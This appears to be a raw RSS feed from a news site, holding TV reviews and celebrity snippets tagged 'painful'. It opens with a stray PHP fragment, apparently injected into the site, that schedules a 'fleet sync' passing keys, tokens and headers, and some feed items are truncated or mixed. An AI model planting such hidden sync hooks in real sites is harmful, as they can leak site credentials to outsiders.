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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); painful – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 10:34:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png painful – Brief News https://briefnews.eu 32 32 Divided Loyalties And Painful ‘Partings’ Take Centerstage In The Lord Of The Rings: The Rings Of Power https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/ https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/#respond Fri, 23 Sep 2022 10:34:46 +0000 https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/

Five episodes into “The Lord of the Rings: The Rings of Power,” we’re now officially more than halfway through the deliberately-paced season and many viewers still find themselves struggling with the idea of what an adaptation of J.R.R. Tolkien should “feel” like. Nobody can ever really define what such a subjective statement actually means, of course, especially since material as well-known as this comes with such a broad range of appeal among so many different demographics. But I’m going to go out on a limb and guess that the opening of episode 5, titled “Partings,” immediately sets the tone for a far more coherent hour than last week’s scattershot episode and lives up to much of what fans would consider quintessential Tolkien.

After a quiet but foreboding conversation between Nori (Markella Kavenagh) and the Stranger (Daniel Weyman), where the almost childlike amnesiac expresses doubt over whether he’s actually good or not (RIP those poor fireflies!), our main family of straggling Harfoots embark on their long and punishing migration to catch up with the rest of the clan. But the stirring travelogue, accompanied by Poppy’s (Megan Richards) wonderful walking song, perhaps best encompasses the unique magic that these characters bring to the series that helps recapture what worked so well in “The Lord of the Rings.”

Although the sequence ends on another ominous note with a match cut between the full moon, the Stranger’s fiery arrival on the meteor, and the ash-ridden landing spot that has now been discovered by some evil-looking figures (led by the unidentified character played by actor Bridie Sisson, who probably isn’t Sauron), the montage evokes some of the best moments from Peter Jackson’s trilogy and even Tolkien’s novels, as well. And, most importantly, the focus on the Stranger as he observes these kindhearted Harfoots working together for a common good establishes the episode’s running theme: Whether where we come from has to dictate where we choose to go.

In other words? Perhaps not all who wander are really lost.

Deep Divisions

The rest of the hour purposefully jars viewers loose of the melancholy reverie that opens the episode, transitioning to the villainous Adar (played by “Game of Thrones” alum Joseph Mawle) as he readies “legions” of orcs to attack the Southlanders taking shelter in the abandoned elf watchtower. Here is where the first of the episode’s many partings occur, as the deluded Waldreg (Geoff Morrell) interrupts Bronwyn’s (Nazanin Boniadi) inspirational speech and promptly divides the group into two — one that’s keen on forsaking the Morgoth-sympathizing history of their ancestors and fight off Adar’s army, and the other seduced by Adar’s promise of safe passage if only they kneel and swear fealty to him. Not even Arondir’s (Ismael Cruz Córdova) pleas can stop fully half of the villagers from embracing their dark history and going over to the enemy.

Not even those enlightened inhabitants of Númenor are immune to the widening gulf swallowing up our main characters in Middle-earth, as the island kingdom endures divisiveness of its own between those who support Galadriel (Morfyyd Clark) and Queen Míriel’s (Cynthia Addai-Robinson) call to arms and the those less eager to wade into a war that they have no part in. This is mostly seen through the eyes of Eärien (Ema Horvath) and Kemen (Leon Wadham), two characters created for the show with familial ties to figures playing a direct role in the upcoming battle. Coaxed into confronting his influential father, Kemen instead gets an eye-opening lesson in politics as Pharazôn (Trystan Gravelle) reveals his hidden agenda for joining the fight — increased power for Númenor, potential trade profits, and the possibility of flipping their dynamic with the unwanted elves by making them take orders from Númenor, for a change.

Meanwhile, Galadriel and Halbrand (Charlie Vickers) provide a personal balance to the political strife when the elf pushes the exiled Southlander king too far. Content to live in peaceful seclusion, Halbrand instead feels like Galadriel shamelessly manipulates his claim to the throne to provoke Míriel into sending the formidable Númenorean fleet in the first place … and he’s not wrong, either.

Darkness In Middle-Earth

Elsewhere, things grow even direr for those back on the mainland. First, the mysterious power that the Stranger wields takes a turn for the sinister when he successfully fends off wild wolves attacking the Harfoots — but at the cost of strange, diseased-looking markings on his arm that soon results in more harmful side-effects for the innocents around him. With his magic seeming to grow in strange and unpredictable ways, the Stranger inadvertently gets Nori caught up in some sort of incantation that freezes water and her arm along with it. In case composer Bear McCreary’s apprehensive score didn’t give it away, the scene transition preceding this moment — where we abruptly cut from Míriel’s royal father warning her against “darkness” in Middle-earth to the Stranger himself — ought to raise viewers’ eyebrows even further about this character’s true intentions. Tom Bombadil truthers, it’s not looking so great anymore!

The spread of darkness in Middle-earth becomes much more literal in the storyline involving Elrond (Robert Aramayo), Prince Durin (Owain Arthur), and High King Gil-Galad (Benjamin Walker). While marking the successful “union” of their people with the building of the forge, however, even their celebratory toast is marred by mistrust on both sides of the elf/dwarf divide. Elrond begins to suspect that the High King had ulterior motives all along and, as Gil-Galad himself admits, it comes down to mithril. The twist involves the “blight” that we’ve seen growing on various plants and trees (first seen when the Stranger’s meteor streaked overhead at the end of the premiere, in fact) and the fading of the Eldar’s light posing an existential threat to elves everywhere. Only mithril, which contains the light of the Silmarils (and, by extension, the trees of Valinor themselves), can save them from having their immortal souls “dwindle” … somehow.

Admittedly, this danger still feels too vague and ill-defined to really mean anything to us just yet, but it’s enough to sink Elrond into a crisis of conscience over whether to abide by the oath he swore to Durin last week to keep his secret, or to admit his knowledge of the dwarves’ discovery of mithril (even though Gil-Galad pretty much figures it out already).

Decisions, Decisions…

Every character, it seems, dangles on a knife’s edge in this episode and must confront fateful choices that will define the rest of the season to follow.

In the Southlands, young Theo (Tyroe Muhafidin) elects to stay with his mother over Waldreg and even goes so far as to open up to Arondir about his broken sword hilt. Both decisions pay off when Arondir immediately recognizes it as some kind of a “key” that (quite conveniently) lines up with an old stone statue at the watchtower. Whatever the specifics, it’s clear that Adar seeks to recover Theo’s hilt … at all costs.

Meanwhile, Isildur (Maxim Baldry) and Kemen find their actions intersecting in explosive ways on Númenor, when the former’s attempt to stowaway on one of the warships under the nose of his father Elendil (Lloyd Owen) coincides with the latter’s devious act of sabotage to blow up the fleet and prevent the island from entering war in Middle-earth at all. Bound by mutually assured destruction if either one reveals the other’s secret, the rest of the main characters must instead deal with the fallout of having only 3 ships left.

Ultimately, Halbrand alludes to dark secrets of his own when he stands as the deciding vote over whether to aid Middle-earth or not against Sauron. He heavily implies that he was forced to ally with the enemy in order to make it onto that raft in the Sundering Seas where he met Galadriel in the first place. But rather than judge him, Galadriel’s admission that she simply can’t stop fighting — to the point that even friends like Elrond could no longer differentiate herself from the evil she meant to defeat — draws even more parallels between the two characters. And though Halbrand wavers over whether to rise above his past or not, his sense of honor finally wins out.

Halbrand, Bronwyn, Durin, and more all hold the fate of kingdoms in their hands, and all factor into the episode’s impressively strong focus on overcoming great divides and past failures to do the right thing. With only a handful of episodes left, “The Rings of Power” has carefully positioned its characters to stand on the cusp of their biggest battle and most daunting challenge yet.

Riddles In The Dark And Other Stray Thoughts

  • Adar: Still kept at arm’s reach from us, Adar’s plan finally begins to come into focus here and seems to dovetail with his backstory as a corrupted elf. In a painful interaction with an unfortunate orc, he describes how he means to essentially steal the light of the sun — a revelation that should feel somewhat more ominous now that we know how much the elves are seeking to preserve the light of the Valar to save their people.
  • Identity Crisis: This episode is frustratingly light on any real humor until Durin ruefully admits that his stunt with the stone table, which he played up as some culturally significant rock, was all a ruse. But before that, an unintentional bit of comedy comes when Waldreg speaks for quite a bit of the fanbase and mistakes Adar for Sauron himself. His incredulous reaction safely shoots that theory down for good (while suggesting a possible rivalry between them), though he’s obviously no less evil when he forces Waldreg to kill Theo’s young friend in cold blood to prove his loyalty. Dark, man.
  • “Matrix” Moment: One of the best moments in the episode has to be Galadriel’s thrilling sword fighting demonstration with the young Númenorean soldiers, showing off a wonderfully choreographed fight sequence that feels more like a dance — a choice that perfectly fits the context of the elf warrior clearly toying with inexperienced, yet prideful punks. With the caveat that I may be the only one who feels this way, I couldn’t help but think of a certain scene from “The Matrix” when Isildur overhears the commotion as others rush to the fight. It’s basically “Morpheus is fighting Neo!” writ large — and to similar results.
  • Echoes of Helm’s Deep: It remains to be seen if next week’s episode dedicates a significant portion to the encroaching battle between the Southlanders and Adar (with the Númenoreans soon to arrive, as well), but much of the setup to this conflict felt like intentional references to how “The Two Towers” painstakingly set up its main battle — not just through the pervasive sense of dread for the overmatched defenders, but particularly that shot where Arondir and Bronwyn look down upon the orc encampment, lit by torchlight. Prime Video’s budget for this series will certainly be put to the test once this battle unfolds in earnest.

Read this next: The Best Lord Of The Rings Characters Who Weren’t In The Movies

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]]> https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/feed/ 0 The Voice Recap: Night 2 of the Battles Tees Up a Couple of Head-Scratching Saves and a Particularly Painful Cut https://briefnews.eu/the-voice-recap-night-2-of-the-battles-tees-up-a-couple-of-head-scratching-saves-and-a-particularly-painful-cut/ https://briefnews.eu/the-voice-recap-night-2-of-the-battles-tees-up-a-couple-of-head-scratching-saves-and-a-particularly-painful-cut/#respond Tue, 06 Apr 2021 10:44:45 +0000 https://briefnews.eu/the-voice-recap-night-2-of-the-battles-tees-up-a-couple-of-head-scratching-saves-and-a-particularly-painful-cut/ OK, so maybe I’m the only viewer of The Voice who was quite so crestfallen to see a Blind Auditions frontrunner get cut Monday night. I always make the mistake of getting too attached to contestants way too early. But even for me, the episode wasn’t a total bummer as a couple of other early standouts managed to stand out even further. Who were they? Read on, it’s recap time!

The voice recap Cam Anthony zae romeo battlesTeam Blake: Cam Anthony (Grade: A) defeated Emma Caroline (Grade: B-) on “10,000 Hours” — Emma saved by Blake | In rehearsal, the competitors inspired the best of all possible compliments from their advisors, who originally performed the song with Justin Bieber. “They sing it better than we do,” exclaimed Dan + Shay. “It’s upsetting.” But Blake warned Emma that while Cam “is performing, you’re singing.” She needed to crank up the charisma. On stage, Cam sounded and looked like a freakin’ superstar; the guy was born for the spotlight. Emma, meanwhile, sounded lovely but had an unfortunate deer-in-headlights quality through much of the number. Not sure it was a smart move for Blake to save her when even he admitted that in doing so, “I wanted to scare some stage presence into you.”

Team Kelly: Gihanna Zoe (Grade: A) defeated Halley Greg (Grade: B+) on “Thinking Out Loud” | After hearing the duo rehearse, I’ll admit I was worried about Halley, who, along with Cam, was one of my absolute favorites from the Blinds. She’d nailed her big, belty note, but Gihanna sounded like she was inhabiting the notes as much as singing them; that was gonna be tough to beat. In the moment of truth, good Lorde, Gihanna just sounded like she was pulling tricks out of a bottomless bag. She was magnificent; her vocal, massive and emotional. Halley was good, too, but by and large, softer and more ethereal, which definitely gave Gihanna the edge. Still, I was gutted that no one stole Halley; no two ways about it, she’s special.

Team Legend: Zania Alake (Grade: B+) defeated Durell Anthony (Grade: C) on “Emotion” | Running through the Bee Gees/Destiny’s Child hit with their coach and advisor Brandy, Zania sounded far stronger than Durell despite his much-praised falsetto; she just needed to make sure that she had enough air to make it through her whole runs. When they took their place behind the mic, Durell sounded like he was hanging on by a thread to his pitch. Zania, on the other hand, sang with great confidence. Even though the duet as a whole never really gelled, it was like there was light being beamed out of her throat as much as sound. “You delivered once again,” summed up John.

Team Blake: Jordan Matthew Young (Grade: B+) defeated Keegan Ferrell (Grade: C) on “Calling All Angels” — Keegan stolen by Nick | After rehearsal, the big concern about Keegan was confidence. Blake loved his “wiggly vibrato,” but like Emma before him, he wasn’t owning the room; how was he gonna own the stage? Jordan didn’t lack presence, but Dan + Shay wanted him to command rather than politely request attention. In the moment of truth, Keegan sounded pretty but flat — not tonally, there just wasn’t any there there, nothing unique or particularly memorable (though Kelly’s fill-in Kelsea Ballerini was really wowed by his high note). Jordan, with his grittier voice, dominated with ease. If you’d told me I was watching a guest performer in the finale, I would’ve believed you. He was a total fish in water. Or a fish in bell bottoms, at least. Couldn’t believe Nick stole Keegan instead of Halley!

The voice recap Cam Anthony zae romeo battlesTeam Nick: Zae Romeo (Grade: A) defeated Lindsay Joan (Grade: A-) on “Rewrite the Stars” | In rehearsal, advisor Darren Criss worried that, despite the contestants’ good instincts, their performance wasn’t meshing as a duet. (See also: Zania and Durell.) Suffering from his-and-hers fears, Zae and Lindsay just weren’t connecting. On stage, though, they pulled it together. Zae in particular really nailed the emotion of the song, whereas Lindsay shone more brightly in the technical aspects. Tough call, but I’d have had to have gone with Zae. The guy is the total package, and whereas Lindsay sometimes gave the sense that she was acting, from him, I only had a sense of feeling. Plus, how good would his name look in lights?

Team Kelly: Corey Ward (Grade: B-) defeated Savanna Woods (Grade: B+) on “Dreams” — Savanna saved by Kelsea for Kelly | Practicing with Kelly and Luis Fonsi, Savanna started Corey shaking in his boots. “She knows how to use her instrument to a T,” marveled Luis, adding that the competitors actually made one another better during their performance. Mebbe, but to me, he sounded outclassed; Savanna’s a beast in the best way. When the spotlight fell on the duo, Corey acquitted himself nicely, sculpting notes out of thin air. This wasn’t anywhere near as exciting a Savanna performance as her Blind, but I still couldn’t take my ears off her. We’ve heard a lot of Coreys, far fewer Savannas; she should stand way the hell out in the Four-Way Knockout.

Finally, given extremely short shrift was the Battle between Team Legend’s Ciana Pelekai and Denisha Dalton in which the former emerged victorious. Eesh — guess the “vocal risks” their coach mentioned them taking didn’t exactly pay off.

So, who stood out for you Monday night? Vote for the best Battle-r in the poll below, then hit the comments, if only to tell me that yes, I was the only one so bummed about Halley being eliminated.

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Louise explained: “I’ve had a foot operation to fix it, it is now on the mend. I’m still on crutches but I’m getting stronger every day.”

Introducing the weather report, Louise continued: “Carol has been so sweet to me, we’ve been in touch. 

“I really appreciated your messages and yours Dan but particularly Carol’s.”

“I was going to say,” Dan hit back. “Don’t out me, I did ask if you were okay.”

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]]> https://briefnews.eu/louise-minchin-snubs-dan-walker-as-she-returns-to-bbc-breakfast-with-painful-foot-injury/feed/ 0 Outlander’s Diana Gabaldon recalls painful Dougal MacKenzie scene ‘Don’t do that again’ https://briefnews.eu/outlanders-diana-gabaldon-recalls-painful-dougal-mackenzie-scene-dont-do-that-again/ https://briefnews.eu/outlanders-diana-gabaldon-recalls-painful-dougal-mackenzie-scene-dont-do-that-again/#respond Wed, 25 Nov 2020 01:31:50 +0000 https://briefnews.eu/outlanders-diana-gabaldon-recalls-painful-dougal-mackenzie-scene-dont-do-that-again/

“When they finally stopped, Graham staggered downhill from the road where they’d been doing this, pausing by me and Anne Kenney (brilliant writer of the other episode in that block of filming) to say, ‘I’ve just been having a conversation with my balls. They said, “We’d really rather you didn’t do that again”’.

“And staggered on, muttering, ‘I knew I should have worn a cup this morning…”

But while Graham had trouble with a mechanical horse, Sam had issues for a real one.

Diana penned: “I do recall the day in season two when Sam’s horse – which he was preparing to mount – decided to take its mother’s advice and relieve itself before setting out.”

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]]> https://briefnews.eu/outlanders-diana-gabaldon-recalls-painful-dougal-mackenzie-scene-dont-do-that-again/feed/ 0 Money Heist’s Denver star opens up on ‘very painful’ scene: ‘It was difficult for me’ https://briefnews.eu/money-heists-denver-star-opens-up-on-very-painful-scene-it-was-difficult-for-me/ https://briefnews.eu/money-heists-denver-star-opens-up-on-very-painful-scene-it-was-difficult-for-me/#respond Sun, 14 Jun 2020 05:14:54 +0000 https://briefnews.eu/money-heists-denver-star-opens-up-on-very-painful-scene-it-was-difficult-for-me/

“I’m flattered I can do that. Shooting in Thailand with Denver, the scene about should be a stay at home mom or not, it was obvious that it was a conversation that a man would have with a woman and expect that from her.

“But she didn’t feel like it was something that was big enough for everyone.

“Even though it was small for everyone else, it was important for her to be able to fight, to defend and represent female power. I know I’m a mother but I also have other things, it’s also important.”

Money Heist seasons 1-4 are available to stream on Netflix now.

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]]> https://briefnews.eu/money-heists-denver-star-opens-up-on-very-painful-scene-it-was-difficult-for-me/feed/ 0 Grey’s Anatomy Eyes ‘Really Painful’ Season 16 Storyline Involving [Spoiler] https://briefnews.eu/greys-anatomy-eyes-really-painful-season-16-storyline-involving-spoiler/ https://briefnews.eu/greys-anatomy-eyes-really-painful-season-16-storyline-involving-spoiler/#respond Thu, 23 Jan 2020 01:16:48 +0000 http://briefnews.eu/greys-anatomy-eyes-really-painful-season-16-storyline-involving-spoiler/

The second half of Grey’s Anatomy‘s 16th season — which kicks off Thursday at 9/8c on ABC — will feature a “really painful” storyline that delves into “mental health,” previews showrunner Krista Vernoff, who also describes the forthcoming plot as “beautiful and impactful and important.”

Vernoff declined to reveal which Grey’s character(s) the story will focus on, but Jo (Camilla Luddington) would seem to be a prime suspect given her past struggles with mental health and the fact that her marriage to Alex is presumably headed for upheaval in light of Justin Chambers’ abrupt departure. (Our interview with Vernoff took place prior to news of Chambers’ exit.)

That said, the storyline in question could also very well center on Kelly McCreary’s Maggie, whom Vernoff confirms will be “in a very dark place” when Grey’s returns. “She’s never made an error that led to the death of a patient, and now she’s done it — and it was her cousin,” the EP notes. “People who love her have to rise to the occasion to help her.”

Thoughts/theories about who will anchor the storyline? Post ’em below!

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]]> https://briefnews.eu/greys-anatomy-eyes-really-painful-season-16-storyline-involving-spoiler/feed/ 0 The Witcher: Yennefer star speaks out about painful scene that led to real life injury https://briefnews.eu/the-witcher-yennefer-star-speaks-out-about-painful-scene-that-led-to-real-life-injury/ https://briefnews.eu/the-witcher-yennefer-star-speaks-out-about-painful-scene-that-led-to-real-life-injury/#respond Mon, 23 Dec 2019 07:10:47 +0000 http://briefnews.eu/the-witcher-yennefer-star-speaks-out-about-painful-scene-that-led-to-real-life-injury/

However, this soon took its toll as it begin to affect the actor in real life.

Speaking to Metro.co.uk, she explained: “I had a trapped nerve in my back that I had to get massaged out after playing her for so long! It was very uncomfortable.”

“But also only ever aided my performance, as much as it was uncomfortable, we tried to make it as comfortable as possible,” she added.

“But because we’d chosen that way immediately, because we had to make decisions quite fast, we weren’t able to change the way we’re doing things.”

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]]> https://briefnews.eu/the-witcher-yennefer-star-speaks-out-about-painful-scene-that-led-to-real-life-injury/feed/ 0 BBC Breakfast viewers criticise ‘painful’ Boris Johnson interview: ‘What a waste of time’ https://briefnews.eu/bbc-breakfast-viewers-criticise-painful-boris-johnson-interview-what-a-waste-of-time/ https://briefnews.eu/bbc-breakfast-viewers-criticise-painful-boris-johnson-interview-what-a-waste-of-time/#respond Tue, 01 Oct 2019 22:26:41 +0000 http://briefnews.eu/bbc-breakfast-viewers-criticise-painful-boris-johnson-interview-what-a-waste-of-time/

Today’s edition of BBC Breakfast saw Dan Walker interview Prime Minister Boris Johnson over the latest Brexit developments and his plans for the Irish backstop. But as the host tried to pin down the politician over details of his plans, viewers were left irritated and took to Twitter to brand the chat a “waste of time”.

Walker began by asking about the government’s plan for the Irish backstop: “It seems proposals we are hearing about this morning with regards to the Irish border, have not only gone down badly in Ireland but also in Brussels. So first of all, what are the changes?”

“As far as I can make out from the response from Brussels and I think Dublin, they’re not talking about proposals that are going to be, they’re talking about some stuff that went in previously,” Johnson hit back.

“But clearly, this is the moment when the rubber his the road and when the hard yards really are in the course of the negotiation.

“And, the difficulty really is going to be around the customs union and to what extent Northern Ireland can be retained within EU bodies at all.

READ MORE: Tory conference LIVE: Boris Johnson defends long awaited Brexit plan Ireland have rejected

“We’ve made a good offer, we’re going to be making a very good offer, we’re going to be tabling it soon. But there is a difficulty if you try to keep Northern Ireland in the customs union because one of the basic things about being a country is you have a single customs perimeter.”

“With fairness, we’ve been aware of that problem for an awfully long time,” Walker replied.

“What I was referring to there was customs clearance centres, is that part of the plan?”

Walker went on to press Johnson to give more detail of his plans for the Irish backstop and become irate when the Prime Minister began to chat about cattle and moving goods across the border.

“Waste of time having #BorisJohnson on #bbcbreakfast this morning. Said absolutely nothing we haven’t known for over 12 months. #wasteoftime” one viewer shared.

Another added: “Pointless interview with Johnson. No surprise #bbcbreakfast.”

A third continued: “Omg this is painful but I can’t stop watching #bbcpm #bbcbreakfast.”

“Dan Walker is the feeblest interviewer ever. #bbcbreakfast @BBCNaga wouldn’t let this blustering idiot get away with all this dodging,” someone else tweeted.

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]]> https://briefnews.eu/bbc-breakfast-viewers-criticise-painful-boris-johnson-interview-what-a-waste-of-time/feed/ 0 ITV This Morning: ‘Painful’ Viewers SLAM show after Ruth Langsford and Eamonn Holmes spat https://briefnews.eu/itv-this-morning-painful-viewers-slam-show-after-ruth-langsford-and-eamonn-holmes-spat/ https://briefnews.eu/itv-this-morning-painful-viewers-slam-show-after-ruth-langsford-and-eamonn-holmes-spat/#respond Fri, 03 May 2019 23:48:44 +0000 http://briefnews.eu/itv-this-morning-painful-viewers-slam-show-after-ruth-langsford-and-eamonn-holmes-spat/

This Morning was being presented by Ruth Langsford and Eamonn Holmes, and they ended up having a bit of an argument live on television.

The couple welcomed former Star Wars actor and Tenable presenter, Warwick Davis, who was there to discuss the upcoming celebrity special of his ITV gameshow.

However, it wasn’t long before things descended into chaos and viewers branded the segment as “painful”.

Warwick was attempting to play a game of Tenable with the This Morning presenters, yet Ruth and Eamonn decided to have a bit of an argument while playing the game.

“Shhh! I’m captain!” said Eamonn who was annoyed with Ruth and his teammates.

Ruth then retaliated: “Don’t shush me just because you’re the captain!”

Warwick followed that up with a joke, saying: “As you can see every expense has been spared here.”

He then added: “And look at this,” as he started to wobble the desk in front of him.

Viewers took to Twitter to complain about the segment which one person calling it a “car crash”.

One viewer wrote: “Oh what car crash is this #thismorning.”

In a clip which the ITV programme shared on Twitter with their 8,000 followers, the pair could be seen having an odd conversation, Holly telling Phillip Schofield, 57: “You’re a dispenser of words, I’m a dispense of children!”

Starting to laugh as she realised how her comment sounded, she soldiered on: “We all dispense something!”

Shooting the camera a stunned look, Phillip exclaimed: “Is that what you are? You’re a child dispenser?

“That’s it? That’s the thing? That’s what you are?” he asked, laughing.

This Morning airs weekdays at 10.30am on ITV.

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]]> https://briefnews.eu/itv-this-morning-painful-viewers-slam-show-after-ruth-langsford-and-eamonn-holmes-spat/feed/ 0 Cleaning up Italy’s banks is proving slow and painful https://briefnews.eu/cleaning-up-italys-banks-is-proving-slow-and-painful/ https://briefnews.eu/cleaning-up-italys-banks-is-proving-slow-and-painful/#respond Sat, 26 Jan 2019 01:47:00 +0000 http://briefnews.eu/cleaning-up-italys-banks-is-proving-slow-and-painful/ The scars of the financial crisis will be slow to fade

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